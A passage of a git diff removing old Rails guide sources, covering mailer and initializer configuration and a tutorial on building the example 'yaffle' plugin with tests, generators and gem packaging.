-* +:user_name+ - If your mail server requires authentication, set the username in this setting.
-* +:password+ - If your mail server requires authentication, set the password in this setting.
-* +:authentication+ - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of +:plain+, +:login+, +:cram_md5+.
-
-+sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options:
-
-* +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+.
-* +:arguments+ - The command line arguments. Defaults to +-i -t+.
-
-+raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to +true+.
-
-+delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+.
-
-+perform_deliveries+ specifies whether mail will actually be delivered. By default this is +true+; it can be convenient to set it to +false+ for testing.
-
-+default_charset+ tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to +utf-8+.
-
-+default_content_type+ specifies the default content type used for the main part of the message. It defaults to "text/plain"
-
-+default_mime_version+ is the default MIME version for the message. It defaults to +1.0+.
-
-+default_implicit_parts_order+ - When a message is built implicitly (i.e. multiple parts are assembled from templates
-which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to
-+["text/html", "text/enriched", "text/plain"]+. Items that appear first in the array have higher priority in the mail client
-and appear last in the mime encoded message.
-
-=== Configuring Active Resource
-
-There is a single configuration setting available on +ActiveResource::Base+:
-
-+logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging.
-
-=== Configuring Active Support
-
-There are a few configuration options available in Active Support:
-
-+ActiveSupport::BufferedLogger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
-
-+ActiveSupport::Cache::Store.logger+ specifies the logger to use within cache store operations.
-
-+ActiveSupport::Logger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
-
-=== Configuring Active Model
-
-Active Model currently has a single configuration setting:
-
-+ActiveModel::Errors.default_error_messages+ is an array containing all of the validation error messages.
-
-== Using Initializers
-
-After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under +/config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded.
-
-NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the +initializers+ folder on down.
-
-TIP: If you have any ordering dependency in your initializers, you can control the load order by naming. For example, +01_critical.rb+ will be loaded before +02_normal.rb+.
-
-== Using an After-Initializer
-
-After-initializers are run (as you might guess) after any initializers are loaded. You can supply an +after_initialize+ block (or an array of such blocks) by setting up +config.after_initialize+ in any of the Rails configuration files:
-
-[source, ruby]
-------------------------------------------------------------------
-config.after_initialize do
- SomeClass.init
-end
-------------------------------------------------------------------
-
-WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called.
-
-== Rails Environment Settings
-
-Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:
-
-+ENV['RAILS_ENV']+ defines the Rails environment (production, development, test, and so on) that Rails will run under.
-
-+ENV['RAILS_RELATIVE_URL_ROOT']+ is used by the routing code to recognize URLs when you deploy your application to a subdirectory.
-
-+ENV["RAILS_ASSET_ID"]+ will override the default cache-busting timestamps that Rails generates for downloadable assets.
-
-+ENV["RAILS_CACHE_ID"]+ and +ENV["RAILS_APP_VERSION"]+ are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
-
-+ENV['RAILS_GEM_VERSION']+ defines the version of the Rails gems to use, if +RAILS_GEM_VERSION+ is not defined in your +environment.rb+ file.
-
-== Changelog ==
-
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28[Lighthouse ticket]
-
-* January 3, 2009: First reasonably complete draft by link:../authors.html#mgunderloy[Mike Gunderloy]
-* November 5, 2008: Rough outline by link:../authors.html#mgunderloy[Mike Gunderloy]
diff --git a/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt b/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt
deleted file mode 100644
index 674f086e17..0000000000
--- a/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt
+++ /dev/null
@@ -1,191 +0,0 @@
-== Add an 'acts_as' method to Active Record ==
-
-A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your models.
-
-To begin, set up your files so that you have:
-
-*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
-
-[source, ruby]
-------------------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class ActsAsYaffleTest < Test::Unit::TestCase
-end
-------------------------------------------------------
-
-*vendor/plugins/yaffle/lib/yaffle.rb*
-
-[source, ruby]
-------------------------------------------------------
-require 'yaffle/acts_as_yaffle'
-------------------------------------------------------
-
-*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
-
-[source, ruby]
-------------------------------------------------------
-module Yaffle
- # your code will go here
-end
-------------------------------------------------------
-
-Note that after requiring 'acts_as_yaffle' you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models.
-
-One of the most common plugin patterns for 'acts_as_yaffle' plugins is to structure your file like so:
-
-*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
-
-[source, ruby]
-------------------------------------------------------
-module Yaffle
- def self.included(base)
- base.send :extend, ClassMethods
- end
-
- module ClassMethods
- # any method placed here will apply to classes, like Hickwall
- def acts_as_something
- send :include, InstanceMethods
- end
- end
-
- module InstanceMethods
- # any method placed here will apply to instaces, like @hickwall
- end
-end
-------------------------------------------------------
-
-With structure you can easily separate the methods that will be used for the class (like `Hickwall.some_method`) and the instance (like `@hickwell.some_method`).
-
-=== Add a class method ===
-
-This plugin will expect that you've added a method to your model named 'last_squawk'. However, the plugin users might have already defined a method on their model named 'last_squawk' that they use for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'.
-
-To start out, write a failing test that shows the behavior you'd like:
-
-*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
-
-[source, ruby]
-------------------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class Hickwall < ActiveRecord::Base
- acts_as_yaffle
-end
-
-class Wickwall < ActiveRecord::Base
- acts_as_yaffle :yaffle_text_field => :last_tweet
-end
-
-class ActsAsYaffleTest < Test::Unit::TestCase
- load_schema
-
- def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
- assert_equal "last_squawk", Hickwall.yaffle_text_field
- end
-
- def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
- assert_equal "last_tweet", Wickwall.yaffle_text_field
- end
-end
-------------------------------------------------------
-
-To make these tests pass, you could modify your `acts_as_yaffle` file like so:
-
-*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
-
-[source, ruby]
-------------------------------------------------------
-module Yaffle
- def self.included(base)
- base.send :extend, ClassMethods
- end
-
- module ClassMethods
- def acts_as_yaffle(options = {})
- cattr_accessor :yaffle_text_field
- self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
- end
- end
-end
-
-ActiveRecord::Base.send :include, Yaffle
-------------------------------------------------------
-
-=== Add an instance method ===
-
-This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'. The 'squawk' method will simply set the value of one of the fields in the database.
-
-To start out, write a failing test that shows the behavior you'd like:
-
-*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
-
-[source, ruby]
-------------------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class Hickwall < ActiveRecord::Base
- acts_as_yaffle
-end
-
-class Wickwall < ActiveRecord::Base
- acts_as_yaffle :yaffle_text_field => :last_tweet
-end
-
-class ActsAsYaffleTest < Test::Unit::TestCase
- load_schema
-
- def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
- assert_equal "last_squawk", Hickwall.yaffle_text_field
- end
-
- def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
- assert_equal "last_tweet", Wickwall.yaffle_text_field
- end
-
- def test_hickwalls_squawk_should_populate_last_squawk
- hickwall = Hickwall.new
- hickwall.squawk("Hello World")
- assert_equal "squawk! Hello World", hickwall.last_squawk
- end
-
- def test_wickwalls_squawk_should_populate_last_tweeted_at
- wickwall = Wickwall.new
- wickwall.squawk("Hello World")
- assert_equal "squawk! Hello World", wickwall.last_tweet
- end
-end
-------------------------------------------------------
-
-Run this test to make sure the last two tests fail, then update 'acts_as_yaffle.rb' to look like this:
-
-*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
-
-[source, ruby]
-------------------------------------------------------
-module Yaffle
- def self.included(base)
- base.send :extend, ClassMethods
- end
-
- module ClassMethods
- def acts_as_yaffle(options = {})
- cattr_accessor :yaffle_text_field
- self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
- send :include, InstanceMethods
- end
- end
-
- module InstanceMethods
- def squawk(string)
- write_attribute(self.class.yaffle_text_field, string.to_squawk)
- end
- end
-end
-
-ActiveRecord::Base.send :include, Yaffle
-------------------------------------------------------
-
-.Editor's note:
-NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`.
diff --git a/railties/doc/guides/source/creating_plugins/appendix.txt b/railties/doc/guides/source/creating_plugins/appendix.txt
deleted file mode 100644
index 340c03dd4e..0000000000
--- a/railties/doc/guides/source/creating_plugins/appendix.txt
+++ /dev/null
@@ -1,104 +0,0 @@
-== Appendix ==
-
-If you prefer to use RSpec instead of Test::Unit, you may be interested in the http://github.com/pat-maddox/rspec-plugin-generator/tree/master[RSpec Plugin Generator].
-
-=== References ===
-
- * http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i
- * http://nubyonrails.com/articles/2006/05/09/the-complete-guide-to-rails-plugins-part-ii
- * http://github.com/technoweenie/attachment_fu/tree/master
- * http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html
- * http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins
- * http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2.
-
-=== Contents of 'lib/yaffle.rb' ===
-
-*vendor/plugins/yaffle/lib/yaffle.rb:*
-
-[source, ruby]
-----------------------------------------------
-require "yaffle/core_ext"
-require "yaffle/acts_as_yaffle"
-require "yaffle/commands"
-require "yaffle/routing"
-
-%w{ models controllers helpers }.each do |dir|
- path = File.join(File.dirname(__FILE__), 'app', dir)
- $LOAD_PATH << path
- ActiveSupport::Dependencies.load_paths << path
- ActiveSupport::Dependencies.load_once_paths.delete(path)
-end
-
-# optionally:
-# Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file|
-# require file
-# end
-
-----------------------------------------------
-
-
-=== Final plugin directory structure ===
-
-The final plugin should have a directory structure that looks something like this:
-
-------------------------------------------------
-|-- MIT-LICENSE
-|-- README
-|-- Rakefile
-|-- generators
-| |-- yaffle_definition
-| | |-- USAGE
-| | |-- templates
-| | | `-- definition.txt
-| | `-- yaffle_definition_generator.rb
-| |-- yaffle_migration
-| | |-- USAGE
-| | |-- templates
-| | `-- yaffle_migration_generator.rb
-| `-- yaffle_route
-| |-- USAGE
-| |-- templates
-| `-- yaffle_route_generator.rb
-|-- install.rb
-|-- lib
-| |-- app
-| | |-- controllers
-| | | `-- woodpeckers_controller.rb
-| | |-- helpers
-| | | `-- woodpeckers_helper.rb
-| | `-- models
-| | `-- woodpecker.rb
-| |-- db
-| | `-- migrate
-| | `-- 20081116181115_create_birdhouses.rb
-| |-- yaffle
-| | |-- acts_as_yaffle.rb
-| | |-- commands.rb
-| | |-- core_ext.rb
-| | `-- routing.rb
-| `-- yaffle.rb
-|-- pkg
-| `-- yaffle-0.0.1.gem
-|-- rails
-| `-- init.rb
-|-- tasks
-| `-- yaffle_tasks.rake
-|-- test
-| |-- acts_as_yaffle_test.rb
-| |-- core_ext_test.rb
-| |-- database.yml
-| |-- debug.log
-| |-- definition_generator_test.rb
-| |-- migration_generator_test.rb
-| |-- route_generator_test.rb
-| |-- routes_test.rb
-| |-- schema.rb
-| |-- test_helper.rb
-| |-- woodpecker_test.rb
-| |-- woodpeckers_controller_test.rb
-| |-- wookpeckers_helper_test.rb
-| |-- yaffle_plugin.sqlite3.db
-| `-- yaffle_test.rb
-`-- uninstall.rb
-------------------------------------------------
-
diff --git a/railties/doc/guides/source/creating_plugins/controllers.txt b/railties/doc/guides/source/creating_plugins/controllers.txt
deleted file mode 100644
index 7afdef032d..0000000000
--- a/railties/doc/guides/source/creating_plugins/controllers.txt
+++ /dev/null
@@ -1,63 +0,0 @@
-== Controllers ==
-
-This section describes how to add a controller named 'woodpeckers' to your plugin that will behave the same as a controller in your main app. This is very similar to adding a model.
-
-You can test your plugin's controller as you would test any other controller:
-
-*vendor/plugins/yaffle/test/woodpeckers_controller_test.rb:*
-
-[source, ruby]
-----------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-require 'woodpeckers_controller'
-require 'action_controller/test_process'
-
-class WoodpeckersController; def rescue_action(e) raise e end; end
-
-class WoodpeckersControllerTest < Test::Unit::TestCase
- def setup
- @controller = WoodpeckersController.new
- @request = ActionController::TestRequest.new
- @response = ActionController::TestResponse.new
-
- ActionController::Routing::Routes.draw do |map|
- map.resources :woodpeckers
- end
- end
-
- def test_index
- get :index
- assert_response :success
- end
-end
-----------------------------------------------
-
-This is just a simple test to make sure the controller is being loaded correctly. After watching it fail with `rake`, you can make it pass like so:
-
-*vendor/plugins/yaffle/lib/yaffle.rb:*
-
-[source, ruby]
-----------------------------------------------
-%w{ models controllers }.each do |dir|
- path = File.join(File.dirname(__FILE__), 'app', dir)
- $LOAD_PATH << path
- ActiveSupport::Dependencies.load_paths << path
- ActiveSupport::Dependencies.load_once_paths.delete(path)
-end
-----------------------------------------------
-
-
-*vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:*
-
-[source, ruby]
-----------------------------------------------
-class WoodpeckersController < ActionController::Base
-
- def index
- render :text => "Squawk!"
- end
-
-end
-----------------------------------------------
-
-Now your test should be passing, and you should be able to use the Woodpeckers controller in your app. If you add a route for the woodpeckers controller you can start up your server and go to http://localhost:3000/woodpeckers to see your controller in action.
diff --git a/railties/doc/guides/source/creating_plugins/core_ext.txt b/railties/doc/guides/source/creating_plugins/core_ext.txt
deleted file mode 100644
index cbedb9eaf2..0000000000
--- a/railties/doc/guides/source/creating_plugins/core_ext.txt
+++ /dev/null
@@ -1,98 +0,0 @@
-== Extending core classes ==
-
-This section will explain how to add a method to String that will be available anywhere in your rails app.
-
-In this example you will add a method to String named `to_squawk`. To begin, create a new test file with a few assertions:
-
-*vendor/plugins/yaffle/test/core_ext_test.rb*
-
-[source, ruby]
---------------------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class CoreExtTest < Test::Unit::TestCase
- def test_to_squawk_prepends_the_word_squawk
- assert_equal "squawk! Hello World", "Hello World".to_squawk
- end
-end
---------------------------------------------------------
-
-Navigate to your plugin directory and run `rake test`:
-
---------------------------------------------------------
-cd vendor/plugins/yaffle
-rake test
---------------------------------------------------------
-
-The test above should fail with the message:
-
---------------------------------------------------------
- 1) Error:
-test_to_squawk_prepends_the_word_squawk(CoreExtTest):
-NoMethodError: undefined method `to_squawk' for "Hello World":String
- ./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
---------------------------------------------------------
-
-Great - now you are ready to start development.
-
-Then in 'lib/yaffle.rb' require 'lib/core_ext.rb':
-
-*vendor/plugins/yaffle/lib/yaffle.rb*
-
-[source, ruby]
---------------------------------------------------------
-require "yaffle/core_ext"
---------------------------------------------------------
-
-Finally, create the 'core_ext.rb' file and add the 'to_squawk' method:
-
-*vendor/plugins/yaffle/lib/yaffle/core_ext.rb*
-
-[source, ruby]
---------------------------------------------------------
-String.class_eval do
- def to_squawk
- "squawk! #{self}".strip
- end
-end
---------------------------------------------------------
-
-To test that your method does what it says it does, run the unit tests with `rake` from your plugin directory. To see this in action, fire up a console and start squawking:
-
---------------------------------------------------------
-$ ./script/console
->> "Hello World".to_squawk
-=> "squawk! Hello World"
---------------------------------------------------------
-
-=== Working with init.rb ===
-
-When rails loads plugins it looks for the file named 'init.rb' or 'rails/init.rb'. However, when the plugin is initialized, 'init.rb' is invoked via `eval` (not `require`) so it has slightly different behavior.
-
-Under certain circumstances if you reopen classes or modules in 'init.rb' you may inadvertently create a new class, rather than reopening an existing class. A better alternative is to reopen the class in a different file, and require that file from `init.rb`, as shown above.
-
-If you must reopen a class in `init.rb` you can use `module_eval` or `class_eval` to avoid any issues:
-
-*vendor/plugins/yaffle/rails/init.rb*
-
-[source, ruby]
----------------------------------------------------
-Hash.class_eval do
- def is_a_special_hash?
- true
- end
-end
----------------------------------------------------
-
-Another way is to explicitly define the top-level module space for all modules and classes, like `::Hash`:
-
-*vendor/plugins/yaffle/rails/init.rb*
-
-[source, ruby]
----------------------------------------------------
-class ::Hash
- def is_a_special_hash?
- true
- end
-end
----------------------------------------------------
diff --git a/railties/doc/guides/source/creating_plugins/gem.txt b/railties/doc/guides/source/creating_plugins/gem.txt
deleted file mode 100644
index 93f5e0ee89..0000000000
--- a/railties/doc/guides/source/creating_plugins/gem.txt
+++ /dev/null
@@ -1 +0,0 @@
-http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins \ No newline at end of file
diff --git a/railties/doc/guides/source/creating_plugins/gems.txt b/railties/doc/guides/source/creating_plugins/gems.txt
deleted file mode 100644
index 67d55adb3a..0000000000
--- a/railties/doc/guides/source/creating_plugins/gems.txt
+++ /dev/null
@@ -1,50 +0,0 @@
-== PluginGems ==
-
-Turning your rails plugin into a gem is a simple and straightforward task. This section will cover how to turn your plugin into a gem. It will not cover how to distribute that gem.
-
-Historically rails plugins loaded the plugin's 'init.rb' file. In fact some plugins contain all of their code in that one file. To be compatible with plugins, 'init.rb' was moved to 'rails/init.rb'.
-
-It's common practice to put any developer-centric rake tasks (such as tests, rdoc and gem package tasks) in 'Rakefile'. A rake task that packages the gem might look like this:
-
-*vendor/plugins/yaffle/Rakefile:*
-
-[source, ruby]
-----------------------------------------------
-PKG_FILES = FileList[
- '[a-zA-Z]*',
- 'generators/**/*',
- 'lib/**/*',
- 'rails/**/*',
- 'tasks/**/*',
- 'test/**/*'
-]
-
-spec = Gem::Specification.new do |s|
- s.name = "yaffle"
- s.version = "0.0.1"
- s.author = "Gleeful Yaffler"
- s.email = "yaffle@example.com"
- s.homepage = "http://yafflers.example.com/"
- s.platform = Gem::Platform::RUBY
- s.summary = "Sharing Yaffle Goodness"
- s.files = PKG_FILES.to_a
- s.require_path = "lib"
- s.has_rdoc = false
- s.extra_rdoc_files = ["README"]
-end
-
-desc 'Turn this plugin into a gem.'
-Rake::GemPackageTask.new(spec) do |pkg|
- pkg.gem_spec = spec
-end
-----------------------------------------------
-
-To build and install the gem locally, run the following commands:
-
-----------------------------------------------
-cd vendor/plugins/yaffle
-rake gem
-sudo gem install pkg/yaffle-0.0.1.gem
-----------------------------------------------
-
-To test this, create a new rails app, add 'config.gem "yaffle"' to environment.rb and all of your plugin's functionality will be available to you. \ No newline at end of file
diff --git a/railties/doc/guides/source/creating_plugins/generator_commands.txt b/railties/doc/guides/source/creating_plugins/generator_commands.txt
deleted file mode 100644
index f60ea3d8f1..0000000000
--- a/railties/doc/guides/source/creating_plugins/generator_commands.txt
+++ /dev/null
@@ -1,144 +0,0 @@
-== Generator Commands ==
-
-You may have noticed above that you can used one of the built-in rails migration commands `migration_template`. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.
-
-This section describes how you you can create your own commands to add and remove a line of text from 'config/routes.rb'.
-
-To start, add the following test method:
-
-*vendor/plugins/yaffle/test/route_generator_test.rb*
-
-[source, ruby]
------------------------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-require 'rails_generator'
-require 'rails_generator/scripts/generate'
-require 'rails_generator/scripts/destroy'
-
-class RouteGeneratorTest < Test::Unit::TestCase
-
- def setup
- FileUtils.mkdir_p(File.join(fake_rails_root, "config"))
- end
-
- def teardown
- FileUtils.rm_r(fake_rails_root)
- end
-
- def test_generates_route
- content = <<-END
- ActionController::Routing::Routes.draw do |map|
- map.connect ':controller/:action/:id'
- map.connect ':controller/:action/:id.:format'
- end
- END
- File.open(routes_path, 'wb') {|f| f.write(content) }
-
- Rails::Generator::Scripts::Generate.new.run(["yaffle_route"], :destination => fake_rails_root)
- assert_match /map\.yaffles/, File.read(routes_path)
- end
-
- def test_destroys_route
- content = <<-END
- ActionController::Routing::Routes.draw do |map|
- map.yaffles
- map.connect ':controller/:action/:id'
- map.connect ':controller/:action/:id.:format'
- end
- END
- File.open(routes_path, 'wb') {|f| f.write(content) }
-
- Rails::Generator::Scripts::Destroy.new.run(["yaffle_route"], :destination => fake_rails_root)
- assert_no_match /map\.yaffles/, File.read(routes_path)
- end
-
- private
-
- def fake_rails_root
- File.join(File.dirname(__FILE__), "rails_root")
- end
-
- def routes_path
- File.join(fake_rails_root, "config", "routes.rb")
- end
-
-end
------------------------------------------------------------
-
-Run `rake` to watch the test fail, then make the test pass add the following:
-
-*vendor/plugins/yaffle/lib/yaffle.rb*
-
-[source, ruby]
------------------------------------------------------------
-require "yaffle/commands"
------------------------------------------------------------
-
-*vendor/plugins/yaffle/lib/yaffle/commands.rb*
-
-[source, ruby]
------------------------------------------------------------
-require 'rails_generator'
-require 'rails_generator/commands'
-
-module Yaffle #:nodoc:
- module Generator #:nodoc:
- module Commands #:nodoc:
- module Create
- def yaffle_route
- logger.route "map.yaffle"
- look_for = 'ActionController::Routing::Routes.draw do |map|'
- unless options[:pretend]
- gsub_file('config/routes.rb', /(#{Regexp.escape(look_for)})/mi){|match| "#{match}\n map.yaffles\n"}
- end
- end
- end
-
- module Destroy
- def yaffle_route
- logger.route "map.yaffle"
- gsub_file 'config/routes.rb', /\n.+?map\.yaffles/mi, ''
- end
- end
-
- module List
- def yaffle_route
- end
- end
-
- module Update
- def yaffle_route
- end
- end
- end
- end
-end
-
-Rails::Generator::Commands::Create.send :include, Yaffle::Generator::Commands::Create
-Rails::Generator::Commands::Destroy.send :include, Yaffle::Generator::Commands::Destroy
-Rails::Generator::Commands::List.send :include, Yaffle::Generator::Commands::List
-Rails::Generator::Commands::Update.send :include, Yaffle::Generator::Commands::Update
------------------------------------------------------------
-
-*vendor/plugins/yaffle/generators/yaffle/yaffle_route_generator.rb*
-
-[source, ruby]
------------------------------------------------------------
-class YaffleRouteGenerator < Rails::Generator::Base
- def manifest
- record do |m|
- m.yaffle_route
- end
- end
-end
------------------------------------------------------------
-
-To see this work, type:
-
------------------------------------------------------------
-./script/generate yaffle_route
-./script/destroy yaffle_route
------------------------------------------------------------
-
-.Editor's note:
-NOTE: If you haven't set up the custom route from above, 'script/destroy' will fail and you'll have to remove it manually. \ No newline at end of file
diff --git a/railties/doc/guides/source/creating_plugins/generator_method.txt b/railties/doc/guides/source/creating_plugins/generator_method.txt
deleted file mode 100644
index 126692f2c4..0000000000
--- a/railties/doc/guides/source/creating_plugins/generator_method.txt
+++ /dev/null
@@ -1,89 +0,0 @@
-== Add a custom generator command ==
-
-You may have noticed above that you can used one of the built-in rails migration commands `migration_template`. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.
-
-This section describes how you you can create your own commands to add and remove a line of text from 'routes.rb'. This example creates a very simple method that adds or removes a text file.
-
-To start, add the following test method:
-
-*vendor/plugins/yaffle/test/generator_test.rb*
-
-[source, ruby]
------------------------------------------------------------
-def test_generates_definition
- Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root)
- definition = File.read(File.join(fake_rails_root, "definition.txt"))
- assert_match /Yaffle\:/, definition
-end
------------------------------------------------------------
-
-Run `rake` to watch the test fail, then make the test pass add the following:
-
-*vendor/plugins/yaffle/generators/yaffle/templates/definition.txt*
-
------------------------------------------------------------
-Yaffle: A bird
------------------------------------------------------------
-
-*vendor/plugins/yaffle/lib/yaffle.rb*
-
-[source, ruby]
------------------------------------------------------------
-require "yaffle/commands"
------------------------------------------------------------
-
-*vendor/plugins/yaffle/lib/commands.rb*
-
-[source, ruby]
------------------------------------------------------------
-require 'rails_generator'
-require 'rails_generator/commands'
-
-module Yaffle #:nodoc:
- module Generator #:nodoc:
- module Commands #:nodoc:
- module Create
- def yaffle_definition
- file("definition.txt", "definition.txt")
- end
- end
-
- module Destroy
- def yaffle_definition
- file("definition.txt", "definition.txt")
- end
- end
-
- module List
- def yaffle_definition
- file("definition.txt", "definition.txt")
- end
- end
-
- module Update
- def yaffle_definition
- file("definition.txt", "definition.txt")
- end
- end
- end
- end
-end
-
-Rails::Generator::Commands::Create.send :include, Yaffle::Generator::Commands::Create
-Rails::Generator::Commands::Destroy.send :include, Yaffle::Generator::Commands::Destroy
-Rails::Generator::Commands::List.send :include, Yaffle::Generator::Commands::List
-Rails::Generator::Commands::Update.send :include, Yaffle::Generator::Commands::Update
------------------------------------------------------------
-
-Finally, call your new method in the manifest:
-
-*vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb*
-
-[source, ruby]
------------------------------------------------------------
-class YaffleGenerator < Rails::Generator::NamedBase
- def manifest
- m.yaffle_definition
- end
-end
------------------------------------------------------------
diff --git a/railties/doc/guides/source/creating_plugins/generators.txt b/railties/doc/guides/source/creating_plugins/generators.txt
deleted file mode 100644
index f856bec7a2..0000000000
--- a/railties/doc/guides/source/creating_plugins/generators.txt
+++ /dev/null
@@ -1,98 +0,0 @@
-== Generators ==
-
-Many plugins ship with generators. When you created the plugin above, you specified the --with-generator option, so you already have the generator stubs in 'vendor/plugins/yaffle/generators/yaffle'.
-
-Building generators is a complex topic unto itself and this section will cover one small aspect of generators: generating a simple text file.
-
-=== Testing generators ===
-
-Many rails plugin authors do not test their generators, however testing generators is quite simple. A typical generator test does the following:
-
- * Creates a new fake rails root directory that will serve as destination
- * Runs the generator
- * Asserts that the correct files were generated
- * Removes the fake rails root
-
-This section will describe how to create a simple generator that adds a file. For the generator in this section, the test could look something like this:
-
-*vendor/plugins/yaffle/test/definition_generator_test.rb*
-
-[source, ruby]
-------------------------------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-require 'rails_generator'
-require 'rails_generator/scripts/generate'
-
-class DefinitionGeneratorTest < Test::Unit::TestCase
-
- def setup
- FileUtils.mkdir_p(fake_rails_root)
- @original_files = file_list
- end
-
- def teardown
- FileUtils.rm_r(fake_rails_root)
- end
-
- def test_generates_correct_file_name
- Rails::Generator::Scripts::Generate.new.run(["yaffle_definition"], :destination => fake_rails_root)
- new_file = (file_list - @original_files).first
- assert_equal "definition.txt", File.basename(new_file)
- end
-
- private
-
- def fake_rails_root
- File.join(File.dirname(__FILE__), 'rails_root')
- end
-
- def file_list
- Dir.glob(File.join(fake_rails_root, "*"))
- end
-
-end
-------------------------------------------------------------------
-
-You can run 'rake' from the plugin directory to see this fail. Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you.
-
-To make it pass, create the generator:
-
-*vendor/plugins/yaffle/generators/yaffle_definition/yaffle_definition_generator.rb*
-
-[source, ruby]
-------------------------------------------------------------------
-class YaffleDefinitionGenerator < Rails::Generator::Base
- def manifest
- record do |m|
- m.file "definition.txt", "definition.txt"
- end
- end
-end
-------------------------------------------------------------------
-
-=== The USAGE file ===
-
-If you plan to distribute your plugin, developers will expect at least a minimum of documentation. You can add simple documentation to the generator by updating the USAGE file.
-
-Rails ships with several built-in generators. You can see all of the generators available to you by typing the following at the command line:
-
-------------------------------------------------------------------
-./script/generate
-------------------------------------------------------------------
-
-You should see something like this:
-
-------------------------------------------------------------------
-Installed Generators
- Plugins (vendor/plugins): yaffle_definition
- Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration
-------------------------------------------------------------------
-
-When you run `script/generate yaffle_definition -h` you should see the contents of your 'vendor/plugins/yaffle/generators/yaffle_definition/USAGE'.
-
-For this plugin, update the USAGE file could look like this:
-
-------------------------------------------------------------------
-Description:
- Adds a file with the definition of a Yaffle to the app's main directory
-------------------------------------------------------------------
diff --git a/railties/doc/guides/source/creating_plugins/helpers.txt b/railties/doc/guides/source/creating_plugins/helpers.txt
deleted file mode 100644
index fa4227be41..0000000000
--- a/railties/doc/guides/source/creating_plugins/helpers.txt
+++ /dev/null
@@ -1,49 +0,0 @@
-== Helpers ==
-
-This section describes how to add a helper named 'WoodpeckersHelper' to your plugin that will behave the same as a helper in your main app. This is very similar to adding a model and a controller.
-
-You can test your plugin's helper as you would test any other helper:
-
-*vendor/plugins/yaffle/test/woodpeckers_helper_test.rb*
-
-[source, ruby]
----------------------------------------------------------------
-require File.dirname(__FILE__) + '/test_helper.rb'
-include WoodpeckersHelper
-
-class WoodpeckersHelperTest < Test::Unit::TestCase
- def test_tweet
- assert_equal "Tweet! Hello", tweet("Hello")
- end
-end
----------------------------------------------------------------
-
-This is just a simple test to make sure the helper is being loaded correctly. After watching it fail with `rake`, you can make it pass like so:
-
-*vendor/plugins/yaffle/lib/yaffle.rb:*
-
-[source, ruby]
-----------------------------------------------
-%w{ models controllers helpers }.each do |dir|
- path = File.join(File.dirname(__FILE__), 'app', dir)
- $LOAD_PATH << path
- ActiveSupport::Dependencies.load_paths << path
- ActiveSupport::Dependencies.load_once_paths.delete(path)
-end
-----------------------------------------------
-
-
-*vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:*
-
-[source, ruby]
-----------------------------------------------
-module WoodpeckersHelper
-
